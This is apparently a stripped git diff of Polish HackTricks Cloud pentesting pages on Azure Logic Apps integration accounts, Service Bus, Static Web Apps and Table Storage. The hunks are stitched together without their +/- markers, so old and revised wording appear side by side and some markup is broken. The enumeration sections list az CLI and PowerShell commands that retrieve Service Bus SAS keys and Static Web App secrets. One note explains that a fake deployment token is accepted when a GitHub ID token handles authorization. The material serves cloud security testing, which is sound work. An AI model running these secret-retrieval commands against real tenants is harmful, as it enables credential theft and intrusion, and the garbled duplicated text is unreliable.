# Integration account
az logic integration-account list --resource-group <resource-group-name>
az logic integration-account show --resource-group <resource-group-name> --name <integration-account-name>
az logic integration-account list-callback-url --resource-group <resource-group-name> --integration-account-name <integration-account-name>
# Batch-configuration
az logic integration-account batch-configuration list \
--resource-group <resource-group-name> \
--integration-account-name <integration-account-name>
az logic integration-account batch-configuration show \
--resource-group <resource-group-name> \
--integration-account-name <integration-account-name> \
--batch-configuration-name <batch-configuration-name>
# Map
az logic integration-account map list \
--resource-group <resource-group-name> \
--integration-account <integration-account-name>
az logic integration-account map show \
--resource-group <resource-group-name> \
--integration-account <integration-account-name> \
--map-name <map-name>
# Partner
az logic integration-account partner list \
--resource-group <resource-group-name> \
--integration-account <integration-account-name>
az logic integration-account partner show \
--resource-group <resource-group-name> \
--integration-account <integration-account-name> \
--name <partner-name>
# Session
az logic integration-account session list \
--resource-group <resource-group-name> \
--integration-account <integration-account-name>
az logic integration-account session show \
--resource-group <resource-group-name> \
--integration-account <integration-account-name> \
--name <session-name>
# Assembly
# Session
az logic integration-account assembly list \
--resource-group <resource-group-name> \
--integration-account <integration-account-name>
az logic integration-account assembly show \
--resource-group <resource-group-name> \
--integration-account <integration-account-name> \
--assembly-artifact-name <assembly-name>
```
{% endcode %}
{% endtab %}
{% tab title="Az PowerShell" %}
{% code overflow="wrap" %}
```powershell
Get-Command -Module Az.LogicApp
# Retrieve details of an integration account
Get-AzIntegrationAccount -ResourceGroupName <resource-group-name> -Name <integration-account-name>
# Retrieve the callback URL of an integration account
Get-AzIntegrationAccountCallbackUrl -ResourceGroupName <resource-group-name> -IntegrationAccountName <integration-account-name>
# Retrieve details of a specific agreement in an integration account
Get-AzIntegrationAccountAgreement -ResourceGroupName <resource-group-name> -IntegrationAccountName <integration-account-name> -Name <agreement-name>
# Retrieve details of a specific assembly in an integration account
Get-AzIntegrationAccountAssembly -ResourceGroupName <resource-group-name> -IntegrationAccountName <integration-account-name> -Name <assembly-name>
# Retrieve details of a specific batch configuration in an integration account
Get-AzIntegrationAccountBatchConfiguration -ResourceGroupName <resource-group-name> -IntegrationAccountName <integration-account-name> -Name <batch-configuration-name>
# Retrieve details of a specific certificate in an integration account
Get-AzIntegrationAccountCertificate -ResourceGroupName <resource-group-name> -IntegrationAccountName <integration-account-name> -Name <certificate-name>
# Retrieve details of a specific map in an integration account
Get-AzIntegrationAccountMap -ResourceGroupName <resource-group-name> -IntegrationAccountName <integration-account-name> -Name <map-name>
# Retrieve details of a specific partner in an integration account
Get-AzIntegrationAccountPartner -ResourceGroupName <resource-group-name> -IntegrationAccountName <integration-account-name> -Name <partner-name>
# Retrieve details of a specific schema in an integration account
Get-AzIntegrationAccountSchema -ResourceGroupName <resource-group-name> -IntegrationAccountName <integration-account-name> -Name <schema-name>
```
{% endcode %}
{% endtab %}
{% endtabs %}
## Eskalacja Uprawnień
Tak jak w przypadku eskalacji uprawnień w aplikacjach logicznych:
{% content-ref url="../az-privilege-escalation/az-logic-apps-privesc.md" %}
[az-logic-apps-privesc.md](../az-privilege-escalation/az-logic-apps-privesc.md)
{% endcontent-ref %}
## Po Eksploatacji
{% content-ref url="../az-post-exploitation/az-logic-apps-post-exploitation.md" %}
[az-logic-apps-post-exploitation.md](../az-post-exploitation/az-logic-apps-post-exploitation.md)
{% endcontent-ref %}
{% hint style="success" %}
Ucz się i ćwicz Hacking AWS:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
Ucz się i ćwicz Hacking GCP: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Wsparcie dla HackTricks</summary>
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Dziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na githubie.
</details>
{% endhint %}
@@ -6,32 +6,32 @@
Azure Service Bus to oparta na chmurze **usługa komunikacyjna**, zaprojektowana w celu umożliwienia niezawodnej **komunikacji między różnymi częściami aplikacji lub oddzielnymi aplikacjami**. Działa jako bezpieczny pośrednik, zapewniając, że wiadomości są bezpiecznie dostarczane, nawet jeśli nadawca i odbiorca nie działają jednocześnie. Dzięki odseparowaniu systemów, pozwala aplikacjom działać niezależnie, jednocześnie wymieniając dane lub instrukcje. Jest szczególnie przydatna w scenariuszach wymagających równoważenia obciążenia między wieloma pracownikami, niezawodnego dostarczania wiadomości lub złożonej koordynacji, takiej jak przetwarzanie zadań w kolejności lub bezpieczne zarządzanie dostępem.
### Kluczowe pojęcia
### Kluczowe Koncepcje
1. **Kolejki:** jej celem jest przechowywanie wiadomości, aż odbiorca będzie gotowy.
- Wiadomości są uporządkowane, opatrzone znacznikami czasowymi i trwale przechowywane.
- Wiadomości są uporządkowane, opatrzone znacznikami czasu i trwale przechowywane.
- Dostarczane w trybie pull (na żądanie).
- Obsługuje komunikację punkt-punkt.
2. **Tematy:** komunikacja typu publish-subscribe do nadawania.
- Wspiera komunikację punkt-punkt.
2. **Tematy:** Komunikacja publish-subscribe do nadawania.
- Wiele niezależnych subskrypcji otrzymuje kopie wiadomości.
- Subskrypcje mogą mieć zasady/filtry do kontrolowania dostarczania lub dodawania metadanych.
- Obsługuje komunikację wiele-do-wielu.
- Wspiera komunikację wiele-do-wielu.
3. **Przestrzenie nazw:** Kontener dla wszystkich komponentów komunikacyjnych, kolejek i tematów, jest jak własny kawałek potężnego klastra Azure, zapewniający dedykowaną pojemność i opcjonalnie rozciągający się na trzy strefy dostępności.
### Zaawansowane funkcje
### Zaawansowane Funkcje
Niektóre zaawansowane funkcje to:
- **Sesje wiadomości**: Zapewnia przetwarzanie FIFO i obsługuje wzorce request-response.
- **Sesje wiadomości**: Zapewnia przetwarzanie FIFO i wspiera wzorce request-response.
- **Auto-przekazywanie**: Przenosi wiadomości między kolejkami lub tematami w tej samej przestrzeni nazw.
- **Dead-Lettering**: Zbiera wiadomości, które nie mogły być dostarczone do przeglądu.
- **Dead-Lettering**: Zbiera wiadomości, które nie mogą być dostarczone do przeglądu.
- **Zaplanuj dostawę**: Opóźnia przetwarzanie wiadomości na przyszłe zadania.
- **Odwlekanie wiadomości**: Opóźnia pobieranie wiadomości do momentu, gdy będzie to możliwe.
- **Transakcje**: Grupuje operacje w atomowe wykonanie.
- **Filtry i akcje**: Stosuje zasady do filtrowania lub adnotacji wiadomości.
- **Auto-usuwanie w bezczynności**: Usuwa kolejki po okresie bezczynności (min: 5 minut).
- **Filtry i działania**: Stosuje zasady do filtrowania lub adnotacji wiadomości.
- **Auto-usuwanie w bezczynności**: Usuwa kolejki po braku aktywności (min: 5 minut).
- **Wykrywanie duplikatów**: Usuwa duplikaty wiadomości podczas ponownych wysyłek.
- **Usuwanie wsadowe**: Masowo usuwa wygasłe lub niepotrzebne wiadomości.
- **Usuwanie wsadowe**: Hurtowo usuwa wygasłe lub niepotrzebne wiadomości.
### Zasady autoryzacji / Polityka SAS
@@ -50,6 +50,10 @@ Polityki SAS definiują uprawnienia dostępu do jednostek Azure Service Bus, prz
sku, zasada autoryzacji,
### Enumeracja
{% tabs %}
{% tab title="az cli" %}
{% code overflow="wrap" %}
```bash
# Queue Enumeration
az servicebus queue list --resource-group <MyResourceGroup> --namespace-name <MyNamespace>
@@ -77,6 +81,58 @@ az servicebus queue authorization-rule list --resource-group <MyResourceGroup> -
az servicebus topic authorization-rule list --resource-group <MyResourceGroup> --namespace-name <MyNamespace> --topic-name <MyTopic>
az servicebus namespace authorization-rule keys list --resource-group <MyResourceGroup> --namespace-name <MyNamespace> --name <MyAuthRule>
```
{% endcode %}
{% endtab %}
{% tab title="Az PowerShell" %}
{% code overflow="wrap" %}
```powershell
Get-Command -Module Az.ServiceBus
# Retrieves details of a Service Bus namespace, including V2-specific features like additional metrics or configurations.
Get-AzServiceBusNamespaceV2 -ResourceGroupName <ResourceGroupName> -Name <NamespaceName>
# Retrieves the authorization rules for a Service Bus namespace, queue, or topic.
Get-AzServiceBusAuthorizationRule -ResourceGroupName <ResourceGroupName> -NamespaceName <NamespaceName>
# Retrieves the Geo-Disaster Recovery configuration for a Service Bus namespace, if it is enabled.
Get-AzServiceBusGeoDRConfiguration -ResourceGroupName <ResourceGroupName> -NamespaceName <NamespaceName>
# Retrieves the shared access keys for a specified authorization rule in a Service Bus namespace.
Get-AzServiceBusKey -ResourceGroupName <ResourceGroupName> -NamespaceName <NamespaceName> -Name <RuleName>
# Retrieves the migration state and details for a Service Bus namespace, if a migration is in progress.
Get-AzServiceBusMigration -ResourceGroupName <ResourceGroupName> -NamespaceName <NamespaceName>
# Retrieves properties and details about a Service Bus namespace.
Get-AzServiceBusNamespace -ResourceGroupName <ResourceGroupName> -Name <NamespaceName>
# Retrieves the network rule set for a Service Bus namespace, such as IP restrictions or virtual network access rules.
Get-AzServiceBusNetworkRuleSet -ResourceGroupName <ResourceGroupName> -NamespaceName <NamespaceName>
# Retrieves private endpoint connections for a Service Bus namespace.
Get-AzServiceBusPrivateEndpointConnection -ResourceGroupName <ResourceGroupName> -NamespaceName <NamespaceName>
# Retrieves private link resources associated with a Service Bus namespace.
Get-AzServiceBusPrivateLink -ResourceGroupName <ResourceGroupName> -NamespaceName <NamespaceName>
# Retrieves details of a specified queue in a Service Bus namespace.
Get-AzServiceBusQueue -ResourceGroupName <ResourceGroupName> -NamespaceName <NamespaceName> -Name <QueueName>
# Retrieves rules (filters and actions) for a subscription under a Service Bus topic.
Get-AzServiceBusRule -ResourceGroupName <ResourceGroupName> -NamespaceName <NamespaceName> -TopicName <TopicName> -SubscriptionName <SubscriptionName>
# Retrieves details of subscriptions for a specified Service Bus topic.
Get-AzServiceBusSubscription -ResourceGroupName <ResourceGroupName> -NamespaceName <NamespaceName> -TopicName <TopicName>
# Retrieves details of a specified topic in a Service Bus namespace.
Get-AzServiceBusTopic -ResourceGroupName <ResourceGroupName> -NamespaceName <NamespaceName>
```
{% endcode %}
{% endtab %}
{% endtabs %}
### Eskalacja Uprawnień
{{#ref}}
@@ -11,13 +11,13 @@ Azure Static Web Apps to usługa chmurowa do hostowania **statycznych aplikacji
> [!TIP]
> Gdy tworzona jest aplikacja statyczna, możesz wybrać **politykę autoryzacji wdrożenia** pomiędzy **tokenem wdrożenia** a **workflow GitHub Actions**.
- **Token wdrożenia**: Generowany jest token, który służy do uwierzytelnienia procesu wdrożenia. Każdy, kto ma **ten token, wystarczy, aby wdrożyć nową wersję aplikacji**. **Github Action jest automatycznie wdrażany** w repozytorium z tokenem w sekrecie, aby wdrożyć nową wersję aplikacji za każdym razem, gdy repozytorium jest aktualizowane.
- **Token wdrożenia**: Generowany jest token, który służy do autoryzacji procesu wdrożenia. Każdy, kto ma **ten token, wystarczy, aby wdrożyć nową wersję aplikacji**. **Github Action jest automatycznie wdrażany** w repozytorium z tokenem w sekrecie, aby wdrożyć nową wersję aplikacji za każdym razem, gdy repozytorium jest aktualizowane.
- **Workflow GitHub Actions**: W tym przypadku bardzo podobna akcja GitHub jest również wdrażana w repozytorium, a **token jest również przechowywany w sekrecie**. Jednak ta akcja GitHub ma różnicę, używa **`actions/github-script@v6`** do uzyskania IDToken repozytorium i używa go do wdrożenia aplikacji.
- Nawet jeśli w obu przypadkach używana jest akcja **`Azure/static-web-apps-deploy@v1`** z tokenem w parametrze `azure_static_web_apps_api_token`, w tym drugim przypadku losowy token o formacie ważnym jak `12345cbb198a77a092ff885781a62a15d51ef5e3654ca11234509ab54547270704-4140ccee-e04f-424f-b4ca-3d4dd123459c00f0702071d12345` jest wystarczający do wdrożenia aplikacji, ponieważ autoryzacja odbywa się za pomocą IDToken w parametrze `github_id_token`.
### Podstawowa autoryzacja aplikacji internetowej
Możliwe jest **skonfigurowanie hasła** do uzyskania dostępu do aplikacji internetowej. Konsola internetowa pozwala na skonfigurowanie go w celu ochrony tylko środowisk stagingowych lub zarówno stagingowych, jak i produkcyjnych.
Możliwe jest **skonfigurowanie hasła** do uzyskania dostępu do aplikacji internetowej. Konsola internetowa pozwala na skonfigurowanie jej w celu ochrony tylko środowisk stagingowych lub zarówno stagingowych, jak i produkcyjnych.
Tak wygląda aplikacja internetowa chroniona hasłem w momencie pisania:
@@ -62,12 +62,12 @@ Kilka przykładów:
}
}
```
Zauważ, że możliwe jest **ochronienie ścieżki za pomocą roli**, wtedy użytkownicy będą musieli uwierzytelnić się w aplikacji i otrzymać tę rolę, aby uzyskać dostęp do ścieżki. Możliwe jest również **tworzenie zaproszeń**, przyznających konkretne role konkretnym użytkownikom logującym się przez EntraID, Facebook, GitHub, Google, Twitter, co może być przydatne do eskalacji uprawnień w aplikacji.
Zauważ, że możliwe jest **ochronienie ścieżki za pomocą roli**, wtedy użytkownicy będą musieli uwierzytelnić się w aplikacji i otrzymać tę rolę, aby uzyskać dostęp do ścieżki. Możliwe jest również **tworzenie zaproszeń**, przyznających określone role konkretnym użytkownikom logującym się przez EntraID, Facebook, GitHub, Google, Twitter, co może być przydatne do eskalacji uprawnień w aplikacji.
> [!TIP]
> Zauważ, że możliwe jest skonfigurowanie aplikacji tak, aby **zmiany w pliku `staticwebapp.config.json`** nie były akceptowane. W takim przypadku może nie wystarczyć tylko zmiana pliku z Githuba, ale także **zmiana ustawienia w aplikacji**.
Adres URL staging ma ten format: `https://<app-subdomain>-<PR-num>.<region>.<res-of-app-domain>` jak: `https://ambitious-plant-0f764e00f-2.eastus2.4.azurestaticapps.net`
URL staging ma ten format: `https://<app-subdomain>-<PR-num>.<region>.<res-of-app-domain>` jak: `https://ambitious-plant-0f764e00f-2.eastus2.4.azurestaticapps.net`
### Managed Identities
@@ -76,6 +76,10 @@ Azure Static Web Apps mogą być skonfigurowane do używania **managed identitie
Aby uzyskać więcej informacji, możesz znaleźć przewodnik Azure dotyczący używania sekretu z vault w aplikacji statycznej w https://learn.microsoft.com/en-us/azure/static-web-apps/key-vault-secrets.
## Enumeration
{% tabs %}
{% tab title="az cli" %}
{% code overflow="wrap" %}
```bash
# List Static Webapps
az staticwebapp list --output table
@@ -107,17 +111,70 @@ az rest --method POST \
# Check connected backends
az staticwebapp backends show --name <name> --resource-group <res-group>
```
## Przykłady generowania aplikacji internetowych
{% endcode %}
{% endtab %}
Możesz znaleźć ładny przykład generowania aplikacji internetowej pod następującym linkiem: [https://learn.microsoft.com/en-us/azure/static-web-apps/get-started-portal?tabs=react&pivots=github](https://learn.microsoft.com/en-us/azure/static-web-apps/get-started-portal?tabs=react&pivots=github)
{% tab title="Az PowerShell" %}
{% code overflow="wrap" %}
```powershell
Get-Command -Module Az.Websites
# Retrieves details of a specific Static Web App in the specified resource group.
Get-AzStaticWebApp -ResourceGroupName <ResourceGroupName> -Name <Name>
# Retrieves the build details for a specific Static Web App.
Get-AzStaticWebAppBuild -ResourceGroupName <ResourceGroupName> -Name <Name>
# Retrieves the application settings for a specific build environment in a Static Web App.
Get-AzStaticWebAppBuildAppSetting -ResourceGroupName <ResourceGroupName> -Name <Name> -EnvironmentName <EnvironmentName>
# Retrieves functions for a specific build environment in a Static Web App.
Get-AzStaticWebAppBuildFunction -ResourceGroupName <ResourceGroupName> -Name <Name> -EnvironmentName <EnvironmentName>
# Retrieves function app settings for a specific build environment in a Static Web App.
Get-AzStaticWebAppBuildFunctionAppSetting -ResourceGroupName <ResourceGroupName> -Name <Name> -EnvironmentName <EnvironmentName>
# Retrieves the configured roles for a Static Web App.
Get-AzStaticWebAppConfiguredRole -ResourceGroupName <ResourceGroupName> -Name <Name>
# Retrieves the custom domains configured for a Static Web App.
Get-AzStaticWebAppCustomDomain -ResourceGroupName <ResourceGroupName> -Name <Name>
# Retrieves details of the functions associated with a Static Web App.
Get-AzStaticWebAppFunction -ResourceGroupName <ResourceGroupName> -Name <Name>
# Retrieves the app settings for the function app associated with a Static Web App.
Get-AzStaticWebAppFunctionAppSetting -ResourceGroupName <ResourceGroupName> -Name <Name>
# Retrieves the secrets for a Static Web App.
Get-AzStaticWebAppSecret -ResourceGroupName <ResourceGroupName> -Name <Name>
# Retrieves general app settings for a Static Web App.
Get-AzStaticWebAppSetting -ResourceGroupName <ResourceGroupName> -Name <Name>
# Retrieves user details for a Static Web App with a specified authentication provider.
Get-AzStaticWebAppUser -ResourceGroupName <ResourceGroupName> -Name <Name> -AuthProvider <AuthProvider>
# Retrieves user-provided function apps associated with a Static Web App.
Get-AzStaticWebAppUserProvidedFunctionApp -ResourceGroupName <ResourceGroupName> -Name <Name>
```
{% endcode %}
{% endtab %}
{% endtabs %}
## Przykłady generowania aplikacji webowych
Możesz znaleźć ładny przykład generowania aplikacji webowej pod tym linkiem: [https://learn.microsoft.com/en-us/azure/static-web-apps/get-started-portal?tabs=react&pivots=github](https://learn.microsoft.com/en-us/azure/static-web-apps/get-started-portal?tabs=react&pivots=github)
1. Forkuj repozytorium https://github.com/staticwebdev/react-basic/generate do swojego konta GitHub i nazwij je `my-first-static-web-app`
2. W portalu Azure utwórz Static Web App, konfigurując dostęp do GitHub i wybierając wcześniej forkowane nowe repozytorium
3. Utwórz je, poczekaj kilka minut i sprawdź swoją nową stronę!
## Eskalacja uprawnień i post eksploitacja
## Eskalacja uprawnień i post eksploatacja
Wszystkie informacje na temat eskalacji uprawnień i post eksploitacji w Azure Static Web Apps można znaleźć pod następującym linkiem:
Wszystkie informacje na temat eskalacji uprawnień i post eksploatacji w Azure Static Web Apps można znaleźć pod tym linkiem:
{{#ref}}
../az-privilege-escalation/az-static-web-apps-privesc.md
@@ -4,7 +4,7 @@
## Podstawowe informacje
**Azure Table Storage** to magazyn NoSQL typu klucz-wartość zaprojektowany do przechowywania dużych wolumenów danych strukturalnych, nienaśladowczych. Oferuje wysoką dostępność, niskie opóźnienia i skalowalność, aby efektywnie obsługiwać duże zbiory danych. Dane są zorganizowane w tabelach, a każda encja jest identyfikowana przez klucz partycji i klucz wiersza, co umożliwia szybkie wyszukiwanie. Obsługuje funkcje takie jak szyfrowanie w spoczynku, kontrola dostępu oparta na rolach oraz podpisy dostępu współdzielonego dla bezpiecznego, zarządzanego przechowywania odpowiedniego dla szerokiego zakresu aplikacji.
**Azure Table Storage** to magazyn NoSQL typu klucz-wartość zaprojektowany do przechowywania dużych wolumenów ustrukturyzowanych, nieliniowych danych. Oferuje wysoką dostępność, niskie opóźnienia i skalowalność, aby efektywnie obsługiwać duże zbiory danych. Dane są zorganizowane w tabelach, a każda encja jest identyfikowana przez klucz partycji i klucz wiersza, co umożliwia szybkie wyszukiwanie. Obsługuje funkcje takie jak szyfrowanie w spoczynku, kontrola dostępu oparta na rolach oraz podpisy dostępu współdzielonego dla bezpiecznego, zarządzanego przechowywania odpowiedniego dla szerokiego zakresu aplikacji.
**Nie ma wbudowanego mechanizmu kopii zapasowej** dla magazynu tabel.
@@ -69,6 +69,8 @@ Get-AzStorageAccount
# List tables
Get-AzStorageTable -Context (Get-AzStorageAccount -Name <mystorageaccount> -ResourceGroupName <ResourceGroupName>).Context
Get-AzStorageTableStoredAccessPolicy -Table <Table> -Context (Get-AzStorageAccount -Name <mystorageaccount -ResourceGroupName <ResourceGroupName>).Context
```
{{#endtab}}
{{#endtabs}}